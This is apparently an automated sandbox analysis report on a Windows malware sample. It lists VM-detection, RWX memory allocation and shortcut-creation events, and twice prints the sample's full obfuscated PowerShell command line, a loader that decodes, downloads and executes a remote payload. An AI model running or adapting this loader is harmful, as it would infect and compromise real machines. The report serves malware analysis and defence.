Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Nov. 11, 2024, 10:12 a.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 139 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 2293760 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02760000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02950000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02951000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02952000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0250a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024e3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024e4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0251b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02517000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02502000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02515000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024e5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0250c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02940000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024e6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0251c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02503000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02504000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02505000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02506000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02507000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02508000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02509000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f11000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f12000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f13000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f14000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f15000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f16000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f17000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f18000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f19000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f1a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f1b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f1c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f1d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f1e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f1f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f21000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f22000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f23000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:12 a.m.	process_identifier: 2296 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f24000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline

POWERSHELL " <#adaptors Modiation Nonhostility #>;$Lorenzkurverne='Ukulelerne';<#Jemedet Demeaning Syllogistically isocardiidae Klientportefljes Forelsningsrkkens #>; function Drumread($Sklmerne){If ($host.DebuggerEnabled) {$Jalouse203++;}$Altar=$Pudserlig+$Sklmerne.'Length' - $Jalouse203; for ( $Tumlede49=4;$Tumlede49 -lt $Altar;$Tumlede49+=5){$Tumlede49ndfoerer=$Tumlede49;$Evaluere+=$Sklmerne[$Tumlede49];}$Evaluere;}function Cannibalistic3($Sublacunose){ & ($Positivisterne) ($Sublacunose);}$Kniplingskjole=Drumread 'OpstM M soR sezAfkviL,qul lgl Un a he,/ I c ';$Foranledigende=Drumread ' SclTVej lPi es uck1Dip 2Vigd ';$Whizzerman='Disc[ Bo n rabESpkltfatt.isn.s,lleeT.eaRSkruVTetriUnenc teE KarPCh foFremIIncoNRem.TAfleM.haza epiNJ.niAOxydG knkEAr.erHder]Spil:stum:JoursNongEBogac arcu AnsrlysoIGluitoverY TrvPPoucRSkeeoRa stforso DraCTwi oSanglJtte=Mono$FyrtfSaliOApioRPe iAOve NKatnlAfhjEhalsdHeadiPundGPanseDa.zn EurdLnudeOpsa ';$Kniplingskjole+=Drumread ' Lo,5Til .Bogm0U.op le(Py nW brui rean,ekud ubsoWitcw Opts D,m Ja zN alTPal, Naad1S rv0Sl,g.Hero0 Ops;Sm e LobeW Cuei FelnPres6Poly4 Gav;Er o Und x Ils6 Aar4 pec;Pres In.orslalv Eur:Skon1 aad3 for1Jule.H.mo0drud)P ea SudeGCollePantc.ecekPreroArbe/ Ani2Bjer0Blth1Sur 0Mult0Ecte1Ophj0S,ot1Loxo Var,FMo giFrisrMetheSjl fRefooPol x ,us/ Syl1,oda3 Nav1Hg n. ,os0 Ref ';$Gnomoniaceae=Drumread ' limu TorSGrupE Bedr Sen- TelAmellGTi,sE nyn .luTD be ';$Baconize=Drumread 'Po thLgget KrltIagtp hirsLign:Pr c/R ck/ Dusf veiStorlMelleEle.d,arinBea,.SekueProduVel./raasl u i9 Inft O.lEOptnw,ankb Un 9YmpesJep 6Tetras bdan nvRTranw,ega5UrnlfSignydobbUCompiC ila RamCRe,n0,irkl .anf Eks/ KumSGenvkHoaruStilf igefAn kecampkracioAfh m Skae SamdperiiStateFrilrHumi1su e2Mete3Ddeb.IsodsOvernaar pP.ct ';$tranquillise=Drumread ' rev>Nilo ';$Positivisterne=Drumread 'OverIEc,iEBommXSpea ';$Titular='Divinable';$Celtis='\ferrels.Prv';Cannibalistic3 (Drumread ' Gu $Sco.g gralHypoOK isBDehaAAc iLUnde:PhilPBibmH .auaun,mLAf aADhotNSo,mGLugnENoneR For1Hoku3C ac2Indt= roc$Gor e ChenDickVMhla:Pla.aNasoP ,raP IwudM ltAli iTFlamAProv+ oel$O ercE feeP lfLGrftTSpadiPipes Mot ');Cannibalistic3 (Drumread ' Klh$,arvG,ootlSydloGninBNon aIod lPoly: P.pfU relPro.uSup.os taB piloPap r AhaIapprTSm keStap= Raa$Rev Barc A AlbcSkabO subNAut,IS.alZA,siE Bol. BorS Av.pun rLBagsiYve T Jel(Remo$ Fo T eriR FerASpatN gynqIndkuRedoiFlnslArguL In.IRe.dsUdskeInse)Fagb ');Cannibalistic3 (Drumread $Whizzerman);$Baconize=$Fluoborite[0];$Megascope=(Drumread 'diak$ ByggAfprlDambo TraBFribAOndslSw e:R diTNer iJurilMilis D gT AlluIro N phyD UvuEHejsnCoendVoteEVal,9 ra1Arbe=uddaNSeafeDocewSalt-AkseOCembbMet JUr seC uncP.euT als BuresB uty BedSS,iftBen,Eafr mOver.BeadNTjrcE ecT Kav.BantwInfieSk ybKr scSekslOveriFjteEEdsan Stat Ra. ');Cannibalistic3 ($Megascope);Cannibalistic3 (Drumread 'Nonm$PretTNibei Skol Tafs Re t Stdu H inBismd Reje tran umodBefsePlu 9K ns1Ove . PreHMagneAmpeanarcdCa temethrBa ksP,ll[Stea$KontG admn OveoSpinm,anuoLar nV dai ,pua Embc omeFacoaDilleTtni]R ko=Kurv$VoldK Su nRugbiFingp AbslEt iiDybfnDiongHimlsSlvrkStatjBegroSo.il,okheSul. ');$Udlandes=Drumread 'O er$Tr kTKalki chylBiprsMothtDyreu.rianUndedTaleeVveknDiskd orleRep 9Frid1Poli.UsmmD UndoScorwPoufnSnkel NakoE evaSy td,kstFAlloiPudslTilsemono(mo.e$AzotBforma erkcArseoParmnFolkiRenszka reD so,Jenh$IlliNAr aaTolvvIn snEf el MufoLifleU spsP ra)Va l ';$Navnloes=$Phalanger132;Cannibalistic3 (Drumread 'P eu$BulmG llelCyanOHal BSelfa KotlTr,b: ammA AntCCre.HSe,iiSlavl OpelGravIa beZFampE kre=Pil (SiksTRo kEAfs SSchetOptr-Mi.kP F.rA FriTRev.H Vgk Sam $skalNFunkaBeskvIdrtnButllLo,toFerteKlagSVelp)M rg ');while (!$Achillize) {Cannibalistic3 (Drumread ' De,$GarrgKic lStnnoN,tmb Sena ShelSubc: ompACanduPosit rnto Indm DifaKunztTr ncJetaaDdskf DateDias= .bo$ semtMin.rOveru vole Hex ') ;Cannibalistic3 $Udlandes;Cannibalistic3 (Drumread 'AnneS ComTAut,AEft rTranT Por- NedsInfrlSnreETende ocipGrav Udme4 ,ub ');Cannibalistic3 (Drumread 'Mel,$V,ksgRev,l braO,ubdbCo.saGebaLF ih: obaParacAdmiHButti,entlReakl Pr i ulzGenkeAuto=Bl c(Phytt Vole.dsasscout bd,-BuslPEndoALit t npeHJamr Hnde$ZincNUdmaa.rovvdegrNRadiLUlpaOad.nEUgleS Irr)enaa ') ;Cannibalistic3 (Drumread ',ngl$Mellg TreLYakooClarB DivAOmlaltorn: PreL ExeiPascnTil.dGant=tetr$ EtygM inlForuoPrivbU loaSynsLFore:HipppAb,aeSupebCa,ne Pejr DecEAnn.sranu+Udd +Spek%Orch$RetefSofiLDeziu GraO A lb emiO Emer Cyki S etRhodE nde.fictcA heoAdmiUBildn M jtBirk ') ;$Baconize=$Fluoborite[$Lind];}$postyard=296341;$labelling=30775;Cannibalistic3 (Drumread ' dla$OverGinsplNa.iOIntebSh naH.phlt ot:Niv,SC.ameCottBAmt.aBr,ctPick S,ek= dko Str.glg,eE.eazTSejl- harcslugOSsteN EtkT Snre B,enBrneTLark Regi$Disfn polaCo.yvSa gNa beL utpO scrETaboSSati ');Cannibalistic3 (Drumread 'T ol$BestgKnallSt.koSlukb DemaBu flTe.m:kopiFVrvla QuibU flrSucciPostkInvee elr rste AbsnFastdKnubeStro1,xle0su.e0Scin Gudi=Sjak G lg[DomiSHandyLoensalsttFlskeIssum ete. I vCKoneoS.yrnIn evPokeeS ndrtekot Ta ]Azte:Mde :sk.lFdi,arInd o ffsmStanBradia TrasP ofeUrti6Inte4ElemSLum tPul r Mo.iL stnTjl g ple( Lif$V ksSTilbeGensbPr maFodbtLagr)Forn ');Cannibalistic3 (Drumread ' der$ halGMisoLSusyoThybBH,xaaTeenLSo f:ProdSTvivU verPaca,EAm hR Spar fplOPreiySnudAL bhlDriv a.kv=Fore Va d[oversUds,yanimsIjestLucaeRumrMHype. FemTAssieRa px topt Bib.ArtsE ,kunFarmC Pr OByg dMudfI LenN Kumg Kog]Ding:Dulc:ReviAW,atsSkygC CubIAl siKbsl.Tv,mgChorE GilTDic S .erT No r BusIFlleNMi dgPoly(Tris$ EmpFSemiABaisbPr er C li F rkF.stepla.RVin EKunsnCrosDBackeTryl1Eu.a0Rapa0Corn)Squa ');Cannibalistic3 (Drumread 'Sner$,varg UntLdawdo rgeb DesaTerml aad:S cag kvaaOmsksZo pfKoncoGsteR LanMHero=Pris$Gu.gSArraUDronpS reEResoRS ksrPatioHypeyAkkvaCirklBlin.Non.sEighU DisbPudgSSkriTNo dr,iliIIntrnMad gUni (Form$MajoPSm bO AllsAlveTChefyf roa vaRSkredIr e,Reak$enehlKodeA TjabPassePr tl ,obLCriaiLykkN Kilg.ill)Elae ');Cannibalistic3 $Gasform;"

cmdline

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#adaptors Modiation Nonhostility #>;$Lorenzkurverne='Ukulelerne';<#Jemedet Demeaning Syllogistically isocardiidae Klientportefljes Forelsningsrkkens #>; function Drumread($Sklmerne){If ($host.DebuggerEnabled) {$Jalouse203++;}$Altar=$Pudserlig+$Sklmerne.'Length' - $Jalouse203; for ( $Tumlede49=4;$Tumlede49 -lt $Altar;$Tumlede49+=5){$Tumlede49ndfoerer=$Tumlede49;$Evaluere+=$Sklmerne[$Tumlede49];}$Evaluere;}function Cannibalistic3($Sublacunose){ & ($Positivisterne) ($Sublacunose);}$Kniplingskjole=Drumread 'OpstM M soR sezAfkviL,qul lgl Un a he,/ I c ';$Foranledigende=Drumread ' SclTVej lPi es uck1Dip 2Vigd ';$Whizzerman='Disc[ Bo n rabESpkltfatt.isn.s,lleeT.eaRSkruVTetriUnenc teE KarPCh foFremIIncoNRem.TAfleM.haza epiNJ.niAOxydG knkEAr.erHder]Spil:stum:JoursNongEBogac arcu AnsrlysoIGluitoverY TrvPPoucRSkeeoRa stforso DraCTwi oSanglJtte=Mono$FyrtfSaliOApioRPe iAOve NKatnlAfhjEhalsdHeadiPundGPanseDa.zn EurdLnudeOpsa ';$Kniplingskjole+=Drumread ' Lo,5Til .Bogm0U.op le(Py nW brui rean,ekud ubsoWitcw Opts D,m Ja zN alTPal, Naad1S rv0Sl,g.Hero0 Ops;Sm e LobeW Cuei FelnPres6Poly4 Gav;Er o Und x Ils6 Aar4 pec;Pres In.orslalv Eur:Skon1 aad3 for1Jule.H.mo0drud)P ea SudeGCollePantc.ecekPreroArbe/ Ani2Bjer0Blth1Sur 0Mult0Ecte1Ophj0S,ot1Loxo Var,FMo giFrisrMetheSjl fRefooPol x ,us/ Syl1,oda3 Nav1Hg n. ,os0 Ref ';$Gnomoniaceae=Drumread ' limu TorSGrupE Bedr Sen- TelAmellGTi,sE nyn .luTD be ';$Baconize=Drumread 'Po thLgget KrltIagtp hirsLign:Pr c/R ck/ Dusf veiStorlMelleEle.d,arinBea,.SekueProduVel./raasl u i9 Inft O.lEOptnw,ankb Un 9YmpesJep 6Tetras bdan nvRTranw,ega5UrnlfSignydobbUCompiC ila RamCRe,n0,irkl .anf Eks/ KumSGenvkHoaruStilf igefAn kecampkracioAfh m Skae SamdperiiStateFrilrHumi1su e2Mete3Ddeb.IsodsOvernaar pP.ct ';$tranquillise=Drumread ' rev>Nilo ';$Positivisterne=Drumread 'OverIEc,iEBommXSpea ';$Titular='Divinable';$Celtis='\ferrels.Prv';Cannibalistic3 (Drumread ' Gu $Sco.g gralHypoOK isBDehaAAc iLUnde:PhilPBibmH .auaun,mLAf aADhotNSo,mGLugnENoneR For1Hoku3C ac2Indt= roc$Gor e ChenDickVMhla:Pla.aNasoP ,raP IwudM ltAli iTFlamAProv+ oel$O ercE feeP lfLGrftTSpadiPipes Mot ');Cannibalistic3 (Drumread ' Klh$,arvG,ootlSydloGninBNon aIod lPoly: P.pfU relPro.uSup.os taB piloPap r AhaIapprTSm keStap= Raa$Rev Barc A AlbcSkabO subNAut,IS.alZA,siE Bol. BorS Av.pun rLBagsiYve T Jel(Remo$ Fo T eriR FerASpatN gynqIndkuRedoiFlnslArguL In.IRe.dsUdskeInse)Fagb ');Cannibalistic3 (Drumread $Whizzerman);$Baconize=$Fluoborite[0];$Megascope=(Drumread 'diak$ ByggAfprlDambo TraBFribAOndslSw e:R diTNer iJurilMilis D gT AlluIro N phyD UvuEHejsnCoendVoteEVal,9 ra1Arbe=uddaNSeafeDocewSalt-AkseOCembbMet JUr seC uncP.euT als BuresB uty BedSS,iftBen,Eafr mOver.BeadNTjrcE ecT Kav.BantwInfieSk ybKr scSekslOveriFjteEEdsan Stat Ra. ');Cannibalistic3 ($Megascope);Cannibalistic3 (Drumread 'Nonm$PretTNibei Skol Tafs Re t Stdu H inBismd Reje tran umodBefsePlu 9K ns1Ove . PreHMagneAmpeanarcdCa temethrBa ksP,ll[Stea$KontG admn OveoSpinm,anuoLar nV dai ,pua Embc omeFacoaDilleTtni]R ko=Kurv$VoldK Su nRugbiFingp AbslEt iiDybfnDiongHimlsSlvrkStatjBegroSo.il,okheSul. ');$Udlandes=Drumread 'O er$Tr kTKalki chylBiprsMothtDyreu.rianUndedTaleeVveknDiskd orleRep 9Frid1Poli.UsmmD UndoScorwPoufnSnkel NakoE evaSy td,kstFAlloiPudslTilsemono(mo.e$AzotBforma erkcArseoParmnFolkiRenszka reD so,Jenh$IlliNAr aaTolvvIn snEf el MufoLifleU spsP ra)Va l ';$Navnloes=$Phalanger132;Cannibalistic3 (Drumread 'P eu$BulmG llelCyanOHal BSelfa KotlTr,b: ammA AntCCre.HSe,iiSlavl OpelGravIa beZFampE kre=Pil (SiksTRo kEAfs SSchetOptr-Mi.kP F.rA FriTRev.H Vgk Sam $skalNFunkaBeskvIdrtnButllLo,toFerteKlagSVelp)M rg ');while (!$Achillize) {Cannibalistic3 (Drumread ' De,$GarrgKic lStnnoN,tmb Sena ShelSubc: ompACanduPosit rnto Indm DifaKunztTr ncJetaaDdskf DateDias= .bo$ semtMin.rOveru vole Hex ') ;Cannibalistic3 $Udlandes;Cannibalistic3 (Drumread 'AnneS 